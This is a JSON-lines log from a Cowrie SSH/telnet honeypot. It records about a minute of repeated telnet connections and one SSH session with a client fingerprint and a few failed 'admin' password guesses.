{"eventid":"cowrie.session.closed","duration":33.04147148132324,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:02.858674Z","src_ip":"194.163.135.148","session":"297397e66444","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9325430393219,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:03.677617Z","src_ip":"194.163.135.148","session":"307a1413e9bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50076,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e851e53b08","protocol":"telnet","message":"New connection: 194.163.135.148:50076 (159.203.135.109:23) [session: 98e851e53b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:03.870798Z"}
{"eventid":"cowrie.session.closed","duration":32.867929458618164,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:05.599306Z","src_ip":"194.163.135.148","session":"27e4609406bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.387181997299194,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:06.350996Z","src_ip":"194.163.135.148","session":"0b864061004d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50098,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec2790f8c7c","protocol":"telnet","message":"New connection: 194.163.135.148:50098 (159.203.135.109:23) [session: aec2790f8c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:06.615327Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50092,"dst_ip":"159.203.135.109","dst_port":23,"session":"f565a5167f52","protocol":"telnet","message":"New connection: 194.163.135.148:50092 (159.203.135.109:23) [session: f565a5167f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:07.027435Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50126,"dst_ip":"159.203.135.109","dst_port":23,"session":"013536830a24","protocol":"telnet","message":"New connection: 194.163.135.148:50126 (159.203.135.109:23) [session: 013536830a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:09.142575Z"}
{"eventid":"cowrie.session.closed","duration":30.687638521194458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:10.457752Z","src_ip":"194.163.135.148","session":"a0f129006e06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.494498014450073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:12.082506Z","src_ip":"194.163.135.148","session":"87ac6237105a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50128,"dst_ip":"159.203.135.109","dst_port":23,"session":"15abe1c71ddc","protocol":"telnet","message":"New connection: 194.163.135.148:50128 (159.203.135.109:23) [session: 15abe1c71ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:12.345487Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50160,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbed5860aadc","protocol":"telnet","message":"New connection: 194.163.135.148:50160 (159.203.135.109:23) [session: bbed5860aadc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:12.900906Z"}
{"eventid":"cowrie.session.closed","duration":35.40673780441284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:12.936348Z","src_ip":"194.163.135.148","session":"3c5f36f2fe92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50152,"dst_ip":"159.203.135.109","dst_port":23,"session":"df24a566119f","protocol":"telnet","message":"New connection: 194.163.135.148:50152 (159.203.135.109:23) [session: df24a566119f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:13.081497Z"}
{"eventid":"cowrie.session.closed","duration":31.55551505088806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:14.613497Z","src_ip":"194.163.135.148","session":"4d16fd2700d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50190,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6ba2c7d0a86","protocol":"telnet","message":"New connection: 194.163.135.148:50190 (159.203.135.109:23) [session: b6ba2c7d0a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:16.299732Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50194,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cfd86677f14","protocol":"telnet","message":"New connection: 194.163.135.148:50194 (159.203.135.109:23) [session: 8cfd86677f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:16.366779Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50196,"dst_ip":"159.203.135.109","dst_port":23,"session":"fca864cd092f","protocol":"telnet","message":"New connection: 194.163.135.148:50196 (159.203.135.109:23) [session: fca864cd092f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:16.497967Z"}
{"eventid":"cowrie.session.closed","duration":36.29321789741516,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:19.724739Z","src_ip":"194.163.135.148","session":"298a59d09332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.86162447929382,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:20.268666Z","src_ip":"194.163.135.148","session":"5c9d8403e511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50226,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5d8dd1bb345","protocol":"telnet","message":"New connection: 194.163.135.148:50226 (159.203.135.109:23) [session: d5d8dd1bb345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:21.901567Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50228,"dst_ip":"159.203.135.109","dst_port":23,"session":"06dd2e6edde5","protocol":"telnet","message":"New connection: 194.163.135.148:50228 (159.203.135.109:23) [session: 06dd2e6edde5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:22.100970Z"}
{"eventid":"cowrie.session.closed","duration":32.21692967414856,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:22.539722Z","src_ip":"194.163.135.148","session":"9d9dfed5c4c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50234,"dst_ip":"159.203.135.109","dst_port":23,"session":"57cfb0e14675","protocol":"telnet","message":"New connection: 194.163.135.148:50234 (159.203.135.109:23) [session: 57cfb0e14675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:23.123255Z"}
{"eventid":"cowrie.session.closed","duration":30.940894603729248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:25.420400Z","src_ip":"194.163.135.148","session":"e51d94808e96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50272,"dst_ip":"159.203.135.109","dst_port":23,"session":"ece5ff2a26a0","protocol":"telnet","message":"New connection: 194.163.135.148:50272 (159.203.135.109:23) [session: ece5ff2a26a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:27.794704Z"}
{"eventid":"cowrie.session.closed","duration":31.128369331359863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:27.850603Z","src_ip":"194.163.135.148","session":"ecae62aa018f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50274,"dst_ip":"159.203.135.109","dst_port":23,"session":"f32c25304da5","protocol":"telnet","message":"New connection: 194.163.135.148:50274 (159.203.135.109:23) [session: f32c25304da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:27.946470Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50298,"dst_ip":"159.203.135.109","dst_port":23,"session":"72b8d6c5f495","protocol":"telnet","message":"New connection: 194.163.135.148:50298 (159.203.135.109:23) [session: 72b8d6c5f495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:30.323653Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50308,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d48d2b3f1ca","protocol":"telnet","message":"New connection: 194.163.135.148:50308 (159.203.135.109:23) [session: 6d48d2b3f1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:31.902864Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50316,"dst_ip":"159.203.135.109","dst_port":23,"session":"15f37d45f244","protocol":"telnet","message":"New connection: 194.163.135.148:50316 (159.203.135.109:23) [session: 15f37d45f244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:34.034658Z"}
{"eventid":"cowrie.session.closed","duration":32.440253496170044,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:34.243081Z","src_ip":"194.163.135.148","session":"541db9a7dfd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.006163120269775,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:34.564647Z","src_ip":"194.163.135.148","session":"a029b14c487a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.801987648010254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:35.672657Z","src_ip":"194.163.135.148","session":"98e851e53b08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.89021325111389,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:35.732795Z","src_ip":"194.163.135.148","session":"f77be40672cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50338,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b5029ab2165","protocol":"telnet","message":"New connection: 194.163.135.148:50338 (159.203.135.109:23) [session: 5b5029ab2165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:35.977696Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50358,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc3525975133","protocol":"telnet","message":"New connection: 194.163.135.148:50358 (159.203.135.109:23) [session: cc3525975133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:38.649955Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50368,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b6585d3cc86","protocol":"telnet","message":"New connection: 194.163.135.148:50368 (159.203.135.109:23) [session: 0b6585d3cc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:39.183063Z"}
{"eventid":"cowrie.session.closed","duration":32.959057092666626,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:39.986379Z","src_ip":"194.163.135.148","session":"f565a5167f52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50376,"dst_ip":"159.203.135.109","dst_port":23,"session":"a87357ef68ae","protocol":"telnet","message":"New connection: 194.163.135.148:50376 (159.203.135.109:23) [session: a87357ef68ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:40.473385Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50384,"dst_ip":"159.203.135.109","dst_port":23,"session":"655388139d05","protocol":"telnet","message":"New connection: 194.163.135.148:50384 (159.203.135.109:23) [session: 655388139d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:41.245290Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50390,"dst_ip":"159.203.135.109","dst_port":23,"session":"e190bceb2d8b","protocol":"telnet","message":"New connection: 194.163.135.148:50390 (159.203.135.109:23) [session: e190bceb2d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:42.245022Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45184,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e254e6ea47","protocol":"telnet","message":"New connection: 185.26.126.47:45184 (159.203.135.109:23) [session: d2e254e6ea47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:43.095462Z"}
{"eventid":"cowrie.session.closed","duration":36.703922748565674,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:43.319108Z","src_ip":"194.163.135.148","session":"aec2790f8c7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.42532682418823,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:43.567741Z","src_ip":"194.163.135.148","session":"013536830a24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50410,"dst_ip":"159.203.135.109","dst_port":23,"session":"b387c9d2997d","protocol":"telnet","message":"New connection: 194.163.135.148:50410 (159.203.135.109:23) [session: b387c9d2997d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:45.071035Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50406,"dst_ip":"159.203.135.109","dst_port":23,"session":"41e100cde787","protocol":"telnet","message":"New connection: 194.163.135.148:50406 (159.203.135.109:23) [session: 41e100cde787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:45.338007Z"}
{"eventid":"cowrie.session.closed","duration":33.52461099624634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:45.869979Z","src_ip":"194.163.135.148","session":"15abe1c71ddc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.56273150444031,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:46.463510Z","src_ip":"194.163.135.148","session":"bbed5860aadc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50434,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4f179e6ae55","protocol":"telnet","message":"New connection: 194.163.135.148:50434 (159.203.135.109:23) [session: b4f179e6ae55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:47.503318Z"}
{"eventid":"cowrie.session.closed","duration":31.424060583114624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:47.921883Z","src_ip":"194.163.135.148","session":"fca864cd092f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":35655,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa88bb02ae7c","protocol":"ssh","message":"New connection: 2.57.121.112:35655 (159.203.135.109:22) [session: fa88bb02ae7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:48.093186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:48.098081Z","src_ip":"2.57.121.112","session":"fa88bb02ae7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:48.199313Z","src_ip":"2.57.121.112","session":"fa88bb02ae7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.491676807403564,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:48.573055Z","src_ip":"194.163.135.148","session":"df24a566119f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"171179","message":"login attempt [admin/171179] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:48.678067Z","src_ip":"2.57.121.112","session":"fa88bb02ae7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17101960","message":"login attempt [admin/17101960] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:49.782169Z","src_ip":"2.57.121.112","session":"fa88bb02ae7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.7777316570282,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:50.077337Z","src_ip":"194.163.135.148","session":"b6ba2c7d0a86","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170988","message":"login attempt [admin/170988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:50.886372Z","src_ip":"2.57.121.112","session":"fa88bb02ae7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50464,"dst_ip":"159.203.135.109","dst_port":23,"session":"eefde54ffe13","protocol":"telnet","message":"New connection: 194.163.135.148:50464 (159.203.135.109:23) [session: eefde54ffe13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:50.997484Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50476,"dst_ip":"159.203.135.109","dst_port":23,"session":"0de59d92c2a1","protocol":"telnet","message":"New connection: 194.163.135.148:50476 (159.203.135.109:23) [session: 0de59d92c2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:51.450143Z"}
{"eventid":"cowrie.session.closed","duration":35.39637565612793,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:51.763040Z","src_ip":"194.163.135.148","session":"8cfd86677f14","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17091971","message":"login attempt [admin/17091971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:51.991284Z","src_ip":"2.57.121.112","session":"fa88bb02ae7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50472,"dst_ip":"159.203.135.109","dst_port":23,"session":"9993cc9dffde","protocol":"telnet","message":"New connection: 194.163.135.148:50472 (159.203.135.109:23) [session: 9993cc9dffde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:52.339169Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50488,"dst_ip":"159.203.135.109","dst_port":23,"session":"e525af5014b4","protocol":"telnet","message":"New connection: 194.163.135.148:50488 (159.203.135.109:23) [session: e525af5014b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:52.982925Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170885","message":"login attempt [admin/170885] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:53.097122Z","src_ip":"2.57.121.112","session":"fa88bb02ae7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.314879417419434,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:53.410205Z","src_ip":"185.26.126.47","session":"d2e254e6ea47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50494,"dst_ip":"159.203.135.109","dst_port":23,"session":"37a4f9856e84","protocol":"telnet","message":"New connection: 194.163.135.148:50494 (159.203.135.109:23) [session: 37a4f9856e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:53.493931Z"}
{"eventid":"cowrie.session.closed","duration":31.962806701660156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:54.063673Z","src_ip":"194.163.135.148","session":"06dd2e6edde5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:54.200465Z","src_ip":"2.57.121.112","session":"fa88bb02ae7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.70292043685913,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:54.604355Z","src_ip":"194.163.135.148","session":"d5d8dd1bb345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":41966,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9a32e33cdff","protocol":"telnet","message":"New connection: 103.115.172.252:41966 (10.17.0.5:23) [session: f9a32e33cdff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:55.182909Z"}
{"eventid":"cowrie.session.closed","duration":33.54546284675598,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:56.668593Z","src_ip":"194.163.135.148","session":"57cfb0e14675","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50518,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb507da51790","protocol":"telnet","message":"New connection: 194.163.135.148:50518 (159.203.135.109:23) [session: fb507da51790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:57.243190Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50530,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9846757d338","protocol":"telnet","message":"New connection: 194.163.135.148:50530 (159.203.135.109:23) [session: b9846757d338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:58.362492Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":50538,"dst_ip":"159.203.135.109","dst_port":23,"session":"d28bd34bde52","protocol":"telnet","message":"New connection: 194.163.135.148:50538 (159.203.135.109:23) [session: d28bd34bde52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:53:59.278210Z"}
{"eventid":"cowrie.session.closed","duration":32.822041034698486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:54:00.616620Z","src_ip":"194.163.135.148","session":"ece5ff2a26a0","protocol":"telnet"}
